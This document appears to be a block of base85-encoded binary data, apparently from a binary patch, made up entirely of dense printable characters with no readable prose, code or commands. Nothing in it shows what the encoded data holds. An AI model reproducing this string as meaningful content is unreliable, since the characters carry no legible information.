z4oNgem-yNounepOM5b54EATrYvaKsu8_2OI=mmNMTQCH;15G_VCk7e=HfRdmfd}ve zUZ4o<275rUK8v*<8~_Kw5d(}N;0<^SK7vo+EBFQ!JL4WBPy=kx1Zab-E@%f>4c35< z&zXND*8Es;eBbkZ+bh;o?5jAQwuThr^f~|UPzDD@d<5-Y}`OF2m=v72o8ax zfY{=3Z~_pUB=$&bk=P-zL1KTc0I|UxARD$v?63e3J1jB8vn57#A56f1NI&{M-cqq2Y^7(%NV{N^a0A@uX)9&{4XUb9fZa%s4aaEF*pG9;gwn=2q z0YvutpswtvVqZBp4~Pz2058C=Kvo|{LnkJKbD$br0*`l;D7`m z0CT|-a2mV;AHnaS5o|sHgaF0|$W`nI6LOs<7ZChlLT-xrgXjD=XOrs?8R^oS>TOtB zQ;#c#f#^ueF;P;dx5#KA-J&!>hxq1nFdNAF=pOLRsbD-{eDzms8(ZLcFpvo@0(JOo z#)l89VKsorgME**)Tjcud2W#*jXRAM0tv@>aJ4dL7Qr1icIeLVbMge4q zqt_6mQkQPg@+V{M6i`=I71(Fn9nbWGexM3m0M($e4aQl}6xf13pfBjz3o!vW*dOsD zI1I``1*io32V$NF4uV7AFnII$cFmb%hmRHE?>78hpPzF(Cx3nV0xDq`Vl*@~~BwZ(x!S&_pBgrMV7qP_0 z5)w<0y)ym9>PYO8$oe_x1=;oi-;?<(?Eee~TVoy%CV+KdBPa$MkUtwRdco+#KI|(7 z|FKEE6RQICRewV6I&zNSe3Ia16Wxy0$EqGZ2D& za0Yw;o%*0`*>?P2;vel0*{&v2!lsA}Mo`fKr6=u(JUl=OSOd<3ufVh~=5HV!>;sQM z>wXyPK{6-+7l0!CdOt7*qyWb6Gd};;0Nn2x_>VU6zf6OEmF;r5#536=a&f8Lk-M_l zuF59F+Ylplm(T!KOolhw+UYGa`zM2!tOp=*A0_QS%D*jxWfI0wo>1$YdefTuup5Z)IA1Hnj;2o8Y{ESZm7;aH=S7eL+xe2;tDx!a5cw8)F=@uRN5#Rnb`G)wYbc^W6A2g>ek#z|;3PK@2Svi*> z&B*u>wq@nq$sTJ3zyO4TFu(Ricnsg&fpa(NMl$;Fh&MUK-Y{P8+OERwyr4kaeZb*Pl&I&yh&9U@4{ zxyVJ*b@n2cadYWg{^V(*(tc{lMfS?Zf9;8F9s%b;N61SLFmh#NDl5<9I9>_9g07IG z83+N>z)Y|RJOod`Q&0%4-T|N#R_;t{kJN*-A-4EfMpn%nAy+UEi~tkBMDPnp z1GV5a80v)k#K0H$fp8E9;z7+|tPOxmpcYJW#<~(H0Y|_Ma0}c9fi8#fH)FICl2{{uSLVT$x)qw=lhM%J}s0Q$~@E^mytY={Z0B~Gq2x`J*0L6TO(<0>aTPym+T{FQs1zmJ!Ue`9!e}yt|aWGpRa${WMsPwa(xD# zgI@uWb4SS28_3F<$T$JG)RFTuq|+c%M&3l$Hvy5goIT4W>Yo+;$4BI@Q-4BkW>_n0 zbw8MR_&3hEBYVydCS*^MZd2AwDXcPy{^%{@5s31#sHc9V`-q~*#D;C_+Mx)x=nFe! z>~Sf!KY^aGzj&|!YzFs$nj7Ybpg(W`PGB%_20n&Pt*7)o{ z%~t<)>UYz!*Zh~a8#Tkv{HQ7H)l$e;QP4I}aET(WfThxm)nsanLI_}~H)FM#`te)a zsR}IJE@AoxiY$fZ^lu2YATncYD-_#dAPUR{n`B#(FPq4eO<>hW`pK7WV&P9V@ttiS ztR+USPQ%2+K%q5LbH!XImO5@NDQ16rraWJtr8->Y52vaYbf~*eQv?N7X!#zEZ`DJg z^?M~e+(`cDTvSKaZvONwan-5!pPJkoU_tDfGc zTITy--!hge@u`+z7#I#hzzD$TK{U310cl_k$N=-f0+0!^z?<4P_ugEqI(g{i&Xd=+ zZpyDKn*X2E-}l#yw`WEMj4LIHsgf}TzraL(&k$anj2rOO%483jrIW6r_fq2r{Yudv zM=a@?l3xU*%a^``6rCV{zl<)K?3F2*)r{ErJWyAra<*R}E5TLuCYH+{`Tu`gSrTIt zhpQ^fJ$tx104i^X1O3C777>smIZ@Fv!WQXR;c8VOGfh~rtK0oe5?Ssu9ZfxHDsl0bU zK)~4vH&~rqixTd51P9o+6zX{c`NPq7BW?#J$` zTDD}##(g%|Mw@JJ@3`Q3+BDd1^HGcJ6`~WOC;N&wZ0)h8;;TdQrg^Ljq2E~mr#ZFbnxIz4{#hhhxt_gj7y4&p0`qau~cgUr=#_Pw$1bA%O{#YTq)u$fG zj@i3SR?KN+{oBwS?P*&AwrDqs?7ZrjM$HAMuho}!*EU^MzN_Z!g6F4vJ3LJs{CKO; z%<*GBd_EKv-|n5Lok__wPN8!4VeJ%;XZyBxGaETKc<@RC+owgZj-F{dphK^OIeI3o zE^XBa(vXgwj#aI$wA+}lU|k>4aJ#4*t{s)%IQg}mU6Aoh zOs8Ep^cL4f_8QzYC2#i7M>CWe_ABRCR^2eTKlnG zK9-(o@-a9_u*&4+O$YUTV~ZDz9kuxA@qK4o8KqZ`IlJ{<{Gzj+ZrM3~6MUWcM7QhG zGwWGrH>WHTm~BqlqSGdU-!HY!_Z!9nqOY&|4}0(uFFiT zTdqNUi+g33I4kOFT+dc6{N=4~$EvIq6ZcQERyf~?Eo`peRKflI-hMj|99ZWc>(I$- z_?%knd#aPp&3ZSka{R9k=4TvG(2tC}ck=X`z8r(>s@i0;km9`$LTBG)W!Yw~RNtaJ zA|>Tb)o1_LUmujZtR1f4@><*J#C?NMThH7R$BgavT)!XKnqBC>X-jPvbI}r2kzGJi zT5)srnJH$@u6G{TWh*Q!R%9*j?jy|F++-gT`zfpr&mLjx-^8qa=ISBbnk$zN>^OALJ3gRQA9efektY`1 zdpo&w`?Q0z_w?9!Z_>QBOA<@&#HMa4-k{lXZLHSnZmk?Lcdv<@9XDd^n@<_t@suH|(4aSydcy*l?hY!&R@ zH9(RgOBGdrwO#Rc>a9JC^SnbZj9ucH`(n}Z{pPnquh^Zo={mS#;IY!6)8p6W%qi+r z<1xc)OOw|&d(w^EyE7VcfUPn7+pC@(7k)an>|0v@Po_<#Y1)~cOwWx@{rzFW@@31k zgB#tqD-OE$e#)VI*V5=2u5A(rUQ6D%w>?MoP0uY#_Y&gcmmT^o{?-SLmsSNQA1vzP zQ_$(HZ`q1p`~rhojCf*u-|$_h7CT)}dYv5a9#qqYGo@LtmE9I!wg^%h{dQ=)eT>HR znZY4!b)&BR1T)f%4d>L}y!`fK_|6`!RHy!CVs^D(lKPD*YxC~?rX*i<*{Qnl0jJo) z=k^AF^UaGqDsERgXjHWu(f9V&qk7pTtNOQZtU7GVil)Zbc8%(@!@1&q)A`lA6r;c8 z>HBP+=K6TYj#fFUEoa}I^tAnr@ii(MZk8%Tnm-)XxwXboE7hZyc5NQ=sC>oKPw{)6 zs(NWCsb2W3xvi($rmXY4C0|C^-m=eqaId>Z&I7^fOyLHrtX;F#M7XsMY?-Wm=G7{# zSS617@90lSh@a@|zMxBJO&)7cx6SrbwY&H|$TseoA2hM7W?r{`H=WcAczkpH zw&sswZnxU+Ez0WCE-E4*a%A88TlNp_FxFKuke{8tCSJ&b-zUrmUCe`U5%v>Fo6q==*S9yPGdU#Rl3(*dX&~u%FO!|y@`uNfU zWvAwCT=F>zwF?J)O6jnma!A_?-ENLK5R}oDqdZv@lrbwvd){r=tuN0`>^FaX!K}0a z)ANJ&<&Aq8aWN{%K3H+`=~kNpg_CkTLMH6GakFqZE2we4sajh3r~^jc=3hP!$+hry zb#4}tomcd>kM-tjm28`L{x!m#>c#?>-p|LfZdGgYZ5%oc*FSI6{r#}V4wibabX)7# z&vrfMdBkq5+W7rGvo`sh3-P(PKR<8E=_7B$7FZSe`84Xf%~6-Vd}Ag{^Zv5?u^u}Y z=LfxN{JJ(n@u_#8OueMY2V;HTp1Hd3-MQEV{Vg_|?JiH*-Qn@>=6$kmmVNEFr#MG7 z%(UhEL$?Mi@!Pzu9ous8go2858$wiDeOMZk{iNMwUb~iuQeW)aw5fHtT8oZbwvB9& zJ+sr!*vE>Z_Fzz0aKQyDhX{w`>-7_YH@@eRmcf zYMc4~p~KL0*9ECL9ZQ1~_BJ;t%V>8XtH#$%sPo8Pv}eg#Un9Mo!=IdNO!VVD&zy;E z>pT6)wO$iU-%R*4ZNlqv-&b#ixr4eQeXjQ@th zzODBz;AR|iU0!qK-KI-s?|yG@6zd{%d&-^fA2Kvs``V_SyK0s#k1H}c5%qdYPm|oG z6RT(US{d;$u}D!jy}O|xX6tpuDwXP}BKLgFSt>_gcUq>rl5eGJ*CelfT%2QWd*x?J zn_jq=&3Ud9>!DPxcwE44(QL?g*2TM_(M(m=3Z*5v z%9C5q$m-2r`M ziCC@ppt0IjefK89f)mrtE))(-u+|AZn_Q|KdVWvuFo$^xIVKg;ELu3|K8iT2Jw)%c z%G+zk8iO;E)*bj-HSa-0pV|s?{lOrs#v#RXb9P@ZAJCM)p{4Tl(FxlY$9Elg(rvbz!qo#N1|OCv zcAA)Ur#Q8aJGWP27r!}U-K91_% zfqS!^$y~Lzro4LwtFPYT4m@+Pa=}uyo4a|bbGKv|Sdi!deHot0lIwC%xwb?R$Vxq&Srb!EpRw!(5-6rfo)5r&xZN8ZKUv*zRzwy0R``n*q z-97qw^vI}V3jcbrPmMh|sYQ!n2I{{L+-KLO zY1-&goo#boEW4f9mNnKpyT#But3NpE&o$Y#_lfT@pGPAO?H=8>_3>vKJKkrte}2@c z%~9(%uQ~G<2R<2ka;xJ6*C&UntB;oDHQp=`ot>YfJ+e5-Cgt)*x2D66mW)>(wP)^X z*W$ncw_=V_+WU6zXH*}K(e8S0#L^iXf3G~8zue+lh-%Wti)*%?nC{YJ$)K<*4WlWI zmlUjh)k)ua!K_)ca&q#joo+SRw(xdHWySWqf@K%Zueunu(b1_qb>O_#-kCy;9yxX~ zqwTirdAoIN&eHuS45FOFKg~9NbS7u(?T*pof+t*XKYPPb-(+@P%_XacX;*TC`z^lX zeP-^t$Lf*Iyj^SBkL>$6`ijSUTTNchW1X_*Lcztx^T%%%G)o;EzBKp#<4A)^#D(l# zsk}@r@A8Uq-_Fb~9TjW$SaH1K-7w+Amv=jzO&l1a*0_a(-OK@6<2$73x(u^O9Bk>V z{H53Qz?uD7yuEHIP5mu%nq9DsDqlZ&g|nUWhp?jtznlCv&oKGwiqT&#rfk}NC{<;r zq8mSK%fqW3x+ds{?;lig%0h>)(O63}(tXOwT}uv?>P}1Er1+-LR>7}P(T%abZPP4F z-niZw__e5Cc~PKM=e!)YlDx0jqD!!Td zrk-zNjJ%$-dBFYsH2b$+r^_}>=BrOM<+}|nXI(ViePLvg^Ys|B=hb)Zul60Nx1~|n zwTmWpZ8J64z0&5XscI|Djg`g9m$N?fciHDw#vkw7W4`{2HHUp!yOPrK>`!`m?)>6^ z`Niff@gd2^`O3d1u9~dVKY@t2Yj&)^)eqd`24WkrIWABnHytdF>A`{6KzszMhbN3GVl&;G{J2BTX@OUL+2J+!2UwTq zU(L#k_;pbCid_n8rWhZ$n7QA5>}=Ie{>|PhO-KpTAC~F7I^a}{n{mRF%ZluY!)Kk& z&vMcpwR&-l{f-k=EbH?{w$^DiGluGvSax<2?wy@v-e)yOYm}9u?^BcL;c0W;W@}ii z8@n;+uqlR~wsQr}EDH>UKBUB?%;Pg9m{nw~US`S4JsIa4+oJ-KhT^Q4Nersdkq z(v>|AT-lr8tNp2sOaIjQ3nR~bS>c8Zd zW%g^VitmTNZqcfAhr#cfod$M|2+^6eanpTncU$uuKRw&FmBG=0i`&dfoto2sY`2MT zeDa=6zi`>;2$^xsF_@o~_U46Qla@E{y?v_mwjj0fp~A^$wp>{g6+fqJX^Nrkq}_9d zsh?H6KY0}^&FQ7n(IVxM>K7f$IVIWYo{g_^s>i1!W-3`6ZSvMTV!C4M3iBbKh3baa zw7QiIRASxbp2(@1tL3GT+MUXIC@Zn z_}AGvjZ3|fHZL=Hls%uTGFvkvdg}4nZE?eO)A^GZb+U`o&P{zI(7odFX8O4$8$Ppd zM9%WcEHD3(J$I7B4#A1C-3}+K*E*EXvKnsdnZNnwrHeJWE8W|7`V^6-p*!icdiw0L zhqFd@9GGO>T+?OAmul{^tZ`Z)D;lpls9dh@I}QmbZ8d4(#>or(tloFHbxQQGT-QBXW9G8guNG)+YMe5@rIr4u^O=f7Bczmv1J zscYYT3R$&2_bwf1lA{o_Z+`FEsi`ZbjXIWaenZs)i_a&oufI1cv-Pk9>m?VHuhEtQ$NLHm8K7yypGazt9sjI z^vkQKg06j3&1k0-{94QLk;Bmwt-^w%LNaZKS*H}do_bJgqTci7CRzDu;q1m6BGYE^ zUGtasda%MSzsWg|T~0d>-gtkkgBLr$<>_68sdtYbKVM*<(4+n6C8m#7Sl&`h8dU3? zux9ue4fcHRlciHv&TD67@i62_JFn?G0;gP9Fg8bY%++Ll%^<5j5vv|ebyyOqK1e6H zvQK3XBZtjxhF_eNXlQkQvZ0FqmDhtNzr9m=-sY+M{81W)EwrIx+kTC6> zwb3oK)GKz*QOVTjZ*VKQo9Dt|)t1~a);yLh(B#f|UVgGmJ3;S)*l6RCk89LZtZRLS zG}`0!U{c(6*IDDeUvKZEqut|6SlaY~IcHB!YbeO?O=k3qDqPih z?WEJaxO>t^o7og)YWu9d(pqgz!8bdhM$bJRu8VwQUnLBg$__s|zsWF#Sm(z59P^w$ zR>t;Su*%qaS3AAr!`Drg+u2q|@)qg75$xwU_b!XljLRw9`}#l!AE#WMi)(MLE(kAn z#j09m_R5hfd91u;1Rt_b%wi5Ar@( zaObJ2U%b-UE_(_BJ>O`Xn%)?EEWP{eudxn$*3?{h?EfL~g~6r!-j+KqpXH7*JGkYT z`i&(wENwfwgc(d42}2sG)z*|+lsr7N)mK#J!igE;yzrIj+cC;9 zF~6;H(NKN)s&~tP%kS1M_h007eCUAbUjo)d2Zc2f=_{rd+{|h_uXIM={jbJU@L8YY z6E^Qq>A7}i^~yKU%j$TNom;R(YMd8Gb%kbUgd179f1*3 z^XDstG}m)Hx$mI2ebqD1>#E)}x-4CkrZ*?H@3U=6yC-L|4jFG+G)eu=yG-|wJl$nw z?~FUVe{j%N*?9P%m7Up5Vg#oatWV5Z+;^q(>BgIF`V>xFxX~y=IAOJSZi|egqqMA8 z8=pU)sC!3u;Eody&3BI9pjczvd3fG{;9aNEGR7Ys+|MJKt)_0x`pu@l*Mm&E0Zmn3 zHIH!!dpEg7@#MpTqbbXKYYgwQKq=&t>lDrc?Rz{ycQt3Vob5ZeZ-1CFKlyOx$J%r6 z-fs)osU9%BVyk9rZ}&`Y{(|)PQHSmA78{p(n01_fu+_^vLzeHmj{QQFo3(hV{3(C( znTzi(FLzcfEjd@&s(Y-_tD(PUYJFK1_h#XA{m%Cewwz-mSij6R)TDpU-XaqXDcG#`Bh!wmRE)j%_~=<+iPNO^MQJ@gVYSRZTS~XGi27Bjm=lKI9R0H>%G+t$XM7vAWC<}^41S>O^0Tzx|@=< z(C>YlCkaCySktRJh|tTY3=nvEhE0x9Ze$m&{LJ?Jvc)Sxx;%3=%FPzCHXe8Ls?6QG z^ODD88?D>s?R<|8$!B6jvRoAYV$U8lsTq4U=4e2C>r>#-ZuuLOe)CWn=5WPPG`Cq^YgK3VG{cX@Nk>^@O=1od8tF$z zAL!?9b${{Ns%DATjHbApi0Ki1&*pr_0^8h2ugePa_pa~zZpgTdV; zhxcL?eW{Hdwr$n=i|qz>n*N?M+iB)}n|?j|^xS!A#*EO)A(Q)$Z8v&qfhD&DmFwvvcV?r^L$I_t!W! zJHm#{?RM0;#r-X{TTk%jT-Vo#w0N@Bw|9pqSMQUaJ;#?fciMe)*W%B7qfO0Qb((al zS-$Dr=_R>y_t-f*-HoZJ7Cm)uoT@E4QQfS(Jj+I`v>Z_9%pv&WtD&(`Q`eqK~^!9x3)W8%z6d;0+Q&f}xjBzvp~ zRl4!|gzn>(=O#YNOh0@3C07*Nb#&sT8Q<^Jcz@-pLYsWk>OCp;iYMm3YxQh|^9GkT z)2)Xo6c*)ucmi`Cod>qAAN427Hb_Ac)YQi-uZ_` zyRF7FQR=y}MyN1jyanskFGdL~9bWjcOm@DQTDEX6XX$mj>=RQ%jf4iC*V?&GGCuq5 zvclo2b(yah-(9Qes<&s*0-rZe*J~zfDwz*jFsB`B^vVk=rHk|`n>Stj_ISyc;r*2T zhWlM{&loWLh|8x@<63A6n%wqwDLTKo3*TnxnwHlKU8la99^9!#Pvse#t}eg%@af6q znM)Q}343khcknx@b8mJdwPkyq#(v&5PoZRNVAZ9n@afrm$4@gdcIeM}e#mH4*1WaX zp0)_MWDv=n)PB`Cd!<>kN}`5)wY`)S9D4XnSw^Qr>SuC|#(ur|Nz1tW;yx|MaH}3_ zf`P&rWhz%kPMmyFyL#5!DMwvCrrWvIq?Ps?)%>)%;*9nut>$;sXd&ErQ2XoSku%@7 zKDLWiY30GwG-z*ExpHo8f#OW zGq|vFaO$%~Dv?uTuN2N%SQuwgS`>7!%L3E%qKkzh^P$QQZ?<`;Thh&PM%8`3*<2I- zJ%`U12bs41;;;2QZA4MbltA~)@=b@k7r!d&v9N2dR`Hh?Zr4_OlQqBF)0-O&-cx9{ zq1@v|UWcU`s;@quNDmsctN+)eFn_!5aqU!`o#q}LBnW8|-(pa62QSv{;Bg10&y0M< zbI@8>vf^0NSM4uuIvz4;N1?qhYgoXIZ43JJw$$6@xB8~0-X^tMdtNO%aU@XXPOEjL z;rd+n{v%e5y|umLp%1TC4{qAmqUS-;uTQ(~ZLPHIENA+C5B5l5z!BS^?BKiO(~jND zGF#|gy+)xRD)PXfodZ6p=;6?gsUaNqgy|GU*TqUB&o6L2lYtDf}r0{YtA^ua%`LS zWT8c$oFVLk6|;r}7F22TTVEL6HqDDy>S}KHXmY}=rH$QcYmQj_+UKCh&~=L(2Yl+3 zA3dtYxyPC+ zTXZ(L-O6j3c1wZ^9w?9axa48jSLC~ zN54s9113zl8fEIr?wxV%O~-Gy&2Jq1wqQ!5F&Vqo9{T#Mwbs23{(Va$mnpPeJgcvr zM&D@TjZR0`6m)G78Jr&BYB8zb$_4&`-GY@T2!_vS)+4nf+G|VA`xm`mUB0;@C~rXV zfu!5lr@he)x@6KJ`%aNcQyarY^Y43Q#Gjwv=keMvBccm!P2N?jy(~?iXf(-l)oYvE zp08s!9&@#fKVllUirqPQ*Ub?@w+`f0wx0P`Gppz0rM0`Re!Vd`-+B7Y-7oiaN(dj( zsEF5ELt|Cvm+EaD+h3^~^)1ui+upr{#j`I%IyH|k%-*Ybdky=_Wv$GOB{NO)7U>)o zeA%IV)~JJuMfT{}uFY-kFRmza+p0Dzzv`{Yiqi6N{0ZJMvByW0ztz__o8Z_k-p;*A zcPpMU{1BZM z`ekpOf~=lrj?Fx&U16|u>H{;aK3gBQ>@(=&hv~zQTiQPjHy^6G_R}V}>KON7{nv)^ zv+VfX?z%SV8wOnsUh})*?A{%ctE@)!T32)aoRk6-V$>QS)YuJQBLtv+fOhK~P5X=s7!r1oBI(nfUOa`404QwgCH@0Tkz zwK_0m@|GwqwbnBpdBu%;S@zqL&@XR)iB@S5xLBF>_^9agyZOZd8JkA4dvLdebgoeL z-+SZQf#R{2yK8UU%&k3g-q>+onoIAMPgBB9^&9@B`vQfS#%Aiy=8hBXHs5^q@#uih zlR`sA?Cre!b5HX_AAcGD+luh7A5I4aI25q9*;{_O(xXlD$VnbIN9d~!&wJ>6HCIhj zf8PH5Rt{78ix!nRe2E_LwYDg_vBT_vs_H(vH5*4&?7ns=_U8I!AR*L%^^r7RYl5tJH8Ju}#QXZZ6t;T1Q;kHkW!A)OEG+3*L`| zr-o&Wd~yHv7M@|@WPiKzen;MQ9@JeYt&L8}SDUBCulirU)}q(WPT_}!z8N|pkX7>R z&;_;Z56+?G{|~%CL%#!^|XITn$0DQUvP{wJ&7GvkB3bTtx`Fr6nA?YXJ8U=r2jnrSl1V zq8WR^91D<;si|{KQ6|ND09zf*A#%@0ly0IcP=sW`*f~gNUdgQiG=5dpz;ctw5Af`v zc+YuQZ|LSt@k&0@98-Y#*jgIvnsF`)3kQMny4o^|RB<^^6dc)DepOYK1W7cLRDcqH z0WPSM^yylWuB-fWqN6A@#$kZw6rJmfx`R@IC$;5JXtK~L4~oXWmLvX51&l?M+1KXS z5K&~;9{J4yqnSg4jhUh_J&t7t*pPV3!=A)+A)a(+M!usjBMFQoFp|LAm4MPhu~G*> zi~eF#oSc}cR>2lk)*<|UBpgHYF{>sq<@JGd`3mVLqqXJc?LYI8fAPfoe(~smy8}1_ zAjhRd*0f>|NRDO>V3M%1IJI00rYvs|JN+o`*a!m#vnyEQ_qt8biUPO`r~z_?z8m|s znlm+4+tqXyP$ej+V55&}U?RsXF0WL#vJ~|vg|cr5g6Sgsld3 z*Po~ct+C4F(LL{a{K236p~rsF8!X!)&_=uB2Gxd(khVG>or4HGi6jNyWCT0|3M;T; z-K$#R+Q#Zd;MXt$C14PQUE8BAS|{*aGE>8Xfh@n^-5_$SR=o;|Sr!pTIhdz6C^%|p9XlDV&!AyX#`+hH;YRxy(!)H)?Ygu zkfbykM)}3^64L%PqEAy&()*L=4cc50A_u*E$i<#~5=sR<7-m2+vltV`z4ZpZGk4?$ zfcf=i3eZh3AIY1!@$IE~tJQmZrHt+xNnj*_kpymD0u)f4CI#Lvrir!!nB~k&&efa- zneYP#vfUWLDc04=i;TQMMSZJAfm;V1|M2A9zwl$fd~EN7wRqgAw4jmeR5};8Uw`r3 zS6{#U^%Lj6dgj{8zP(X#fQG$r&>HwX!fg}=f)4iT83%)2Sm_3p?bzy69MEk$6|3KD zcr!CozcF*ke-@^EIahjW2^)bN~gqBE>Ci%gCw>CkVky zcvt(fWu%#!`3qFiNXrza{3KY}gtIgnl09y+OC+!h+dy~M?4sw^DSPTHWl%`|+W5#p z6Me-5yEl9!On|HVNKl=5$Pg-)s8BU4ugwZ5RzXrpN+zMqH~^K3?VLEO6QY7fkS0dg z*LBfm!$rtq@r4tNPtoHR4{1>%|J3#?c{Id&j8wKbv?`aDR=AC92tjqgOMx~G$_@S0 zv#HjBrc}*GU|4r#6sR}svupz0G}_YO7#1QlTJ7lgVc4zVbK(@?S>f=9^5Nip$)~L7 zn?${(Q13g(f4RYsyaQDamx{`K084Lwivr#$`FGyHcd#;}tVR+TNnj)aMB+U_ru-a` zp0tA%XL4+6dTf!*#K?S%;0LBlz+cR4Otr*rIyko2W)E;j(2aM`9Q^OU|DP_5?+bn4 zE4v$Ry?FY|pZ&|<_`@&%+h<FE<+dG_0Xd1dQd*c==`_f?=0B2va6 zB-F8CPOMY1T!T|2AQ-Y!hp$ueAwWJlv0GgWqVD!~8@r?U0#ro-b=d$5Ze$s@0-(~I zYr8ct9DLf!_gl@@gGW9z(VD>&x7Atw>WM$ZobFnH?9hD@kOz1I5F=(Fkagst6e1+B zN3)7Ouq?PWfNQfV_WKD_GoE?m=nu2Af#}M{l|T8$?>u|z%dek*@x_x*onL*eKHeH1 zpN69_5Dq5Bn_KOz3)f%u8V$EHzA$s=zG;L)AdeESUjEuz_bTH}wxvQfVxKqI;dcNU zS=6Q(hBY|oMJurNU#m5tWp?d4h|kIum<3xqpY4bMLr7iCu`0;r8pjGF+aGis*cMoW zz@|-W+z8VsQ!e(2z&h@gjSJoWHUK3I_R&CqBnSe_hxzdXQ{!{QrVT^4TIu^;AL{^s zB0{ucSSHSo1);*gj1*?8sKokH@i}0^0tMX+V>9Dt;g^zCp#%ybS+g@vIMBdY z+}K$4YN#h+GCPLWle{M9o?)5AHLlGSJ!}pxqU7SMA(K_%XVoraqntn$HD1{QGR9&o z&XQp=E1_GB&)Jx)ghfEY6pDIbA2+Q9Jq`@x2!hh05kFzglfyvL{2hcK;UhF_h-|kK zC~pE~jT&=e&|)__JzWXp>d&%Jha@UOTP6}HC9Is}_`8$`dl!_9I7{`FqcL;v2a*j0 zLJy4U0aog=o0d$>HnDQ0gC$oSw^?F>nIKP`(AZjwNV;BSo7!}yd}8T7Q!2$CFI-W= zQIWRA*p3CF53`T-?Q)X)$|*AsY_ZFfoXafsIK#|{7+#7>Hex2^o}kg!kpxB(c&8*l z?%kDBeY_Qexau@!C+C4K$gwRES{dB}2NDz{ZIe(fX{L6ZZnr;Ho%!H ze%u=XNW*rmWrqN#3o zyF1w2VFMR)E;%~`8x}NE7t4jNZ*AC(4s7`Xx7Ur=`}Vd^{Q$SKO`_^r11OjiKTrX% zEzG?rJ~HY)=vJ#}W*-XingO9eC+p)(W(-@R?w=w=?wIt7|cq?pW>v1{3n`PN|0)KNw?1G zbt#V2w}|dbYTQKlAOg=$&o^o<@|g@qGf%F1Fz6wX>#5QS{w+N@0@pGCWyt*+Rcp|Y zKwAYPR8|yPfkQgO(;j)PBj#m-gfz0rk2l@GVU_1+LA2mh5p*f{sv^HiFPMFyVW^y# zze{_S9+aH<(MN^jU{gxLi|8;3y!?(F%I}Dgms}|Y;^sxw#cUpsxtkYOGI}|U&>_r2 z81^}DA_+KrM_M&xAu()qaltV(aYsyA%QD8WbqBMFQo z@K-7Ua-f+M0L@0VS)Txo#Iyj&lz9G0w=c=BKC3YWqd1k?;pMyTJMajB6RWa5*!+Vh z|Lxaa{Uc|>>i|3wJJ*f-6);1grXBPn&^qA|z>CHy>=_h-VLPt$>TqCRvHb1O9@Hk> z$^EkjZ(Y89_vGF>7!IKa#0PsU*Q!sAPgAU~fJ~+oUL;oy1dkCDZC7jQ$nImeFWt9y z>QEyXuU00=D+BK}lBZst^Vx(6__;lZwxdcHKe@5z`1PhWyF7K|$nt%+F5ElgE!*3* zsN-587`agNDoAI(d{c^RARRstGfPfH`XGaYy7<1w# zc_;&2*nu9`r+~Vy69v7RV|xUgpn+`==!X+D{y=i@KtN6iNc9_79yq&$wXIbG{LF0? zogIkLK+CfeOI5c)mNg_o(%G{ES}YC7MTYQY6WqXl(&$Jjn0m(591=7?H%*G-TuiCt zcK$~JK?sR3R+GJTWo{K&2;sJCe#r-)1xo_z1KQj-=Wi3SCE2R(GvR3t*yXK|D2R8&Q$^hlTGlK2;Ta{^V;n@E7{NO`B`q14Uz4PEhx9)l1$i8>qap=K= zOLx_s>5Xdx%ft4))fsfKBTk5w)Q_a>^SYBq_TT@JhyTtGJ^FX=J^cOm-ul>k@A`q; z_B?QXZ54)Uckg>>26|{1-EUui>f2v{UJ^~Hzz*N52ff%0Tes}G>#=)(_(vc6*$3}@ z;@F}0-FM^z_aAv^_spKHt@X9d3!x2ETBXQc(0H zg9R7^xt;BerRjTS#^%XUfmbjQR#Ut#K;>IzkL;Q_*s3jzHK$OA z_4cJcyh?=qt{h%`#bOr(ZD0K0)H`wm` zoo;`#-Pu6Hs9I3Q zIhM^~_GFy6-XMyB+9H(^tTly%Cm8(+(UgCZKcpQbP67puWsWgNv4f%$U+RroyS+Vt zD*#q6va3^t-iE=rn}nxD2x#Jo9Oj?~CO71hiEjh~->R{4Z)zfsA05Ouu41L9A)^=< znx(KWE#-lWGt_&&<%(qTPRG3?bz=fOR)y(KaSo1TP1!OqNxDgQmYnN|ySg7G2f^a{ zqS?zy4l46v2hk78;a5idIetR!#?05G@bsdtxeyYPeRcwN?6i+{v&>Im4iALH!;t=} z2!DznQtl6UXJ&#HT5&iflF`3#736^_2(XYi&ymohT4zW7YlP3pbz<5<=87we;FDWS zjz>w~sjif^ip_ z;}hc%Tf`h(SJ}2Btd{Fx8l^Td4fmXlcC;9s!tuL)XZ2RQ%|%ANlx4e&+D5`&#yN%WgEB zX2Wgmnw&j+=N%xb9-2MYY>WXwt#_^y?-ncts{!jQRIOo8y!YR$E~?W z)or@tjY@00HoI@(wgU$agDG+8(iQkS14gI73_J}#ddCx_4z}WJ?W?bzf5Czw7OdT( zewR$U2+rJj@WHw91vp&j$L*7szS-{ez_8dmcX-dtQ9-w_G4GZ)ciEGK4coldkv-q{ z`29bBbm{wMynPc+y&k~}!>zle#x2MCTVal{y( zd5bj1l3P>Kwb7^$C8Z*b0HUfu4cUPyGa{L`G4Yu0Nw6X#4iJUe*)0VR;87!*(-!%#sj>GV%c zq{^s6N+i3gr=`c&hnM$!hCO1jXXFrYsKd|w3Ok|Cho3FF3K3ww@Y!lwz@vV zlrY+;Mr6_+=21wf7ztn@`c3L3e&Ye%68)bsI#X8FDuPHn=7`XZ`mUkdf*4hGibI`7 zhO{bCcxO7)P~OwMH;r!1$0}E7GAPp?F~(%(LDKzYc3)Poxd$&N;KE}$x-gQ!NCG1X z+?)jH&2N(nZ@23`a5NmR zfd~hL9&DIuVMp160|u~y0hIw!yg@V(yYS!e%l>D2CM7;anDH^-X}r+F;PIf(OtXZAeJ-6F}eH(c(BOHqs2OPTsJ`)CU z57vbEz+(o-WQGQphzh6!abZ;5QUFw}zNya5X?qPr6R1q5`eA2GPqN36#{)u`4GU)U3DNw6CWMwksIYy<_z z#qP{39SLVUhvR~POn!GQPUo**QkYqi4t#D2bbkP2|%#S=gF;a|9I@jhrsL%V;abM{Nm{mx%J_u1pG zKlA$86Kh)+$6BrN#vG;qsHR#oW9L?0sl?Td?Nyk~%#Y3g#D{-z%G-m<&A0l`pL+6h zU;gdCc=j_-zxcV6m%cLI+%-Kp50iB0YXLXb+E>5++UGI*yKWB=PxrKL|LKqX;)Jsd zRInDTeCo;n_?f5vudjXkkDq`2FRyK!x#i$3Rc}1DYBO`oue|p4ZM##A>lHLS4&Q(5 zV}NR~M7z3m;oGOaHmLZ458egd-5_kZ%S#8}d;1T-;to#6{ObCbzVYdfzwN};rRiJu z&E6V=Nm~hDx%l-pVkV%ygQ{OW*u3orANbiu*tDJQnt%EEGk@}@&;G_!FMaClg)=kr zUfrGqpq`l?Yj3Y!zWQyrM(u9;jcTwseTNm-;M<|zY@S_tsTcadX*GhgEK#NMe^tqy!x 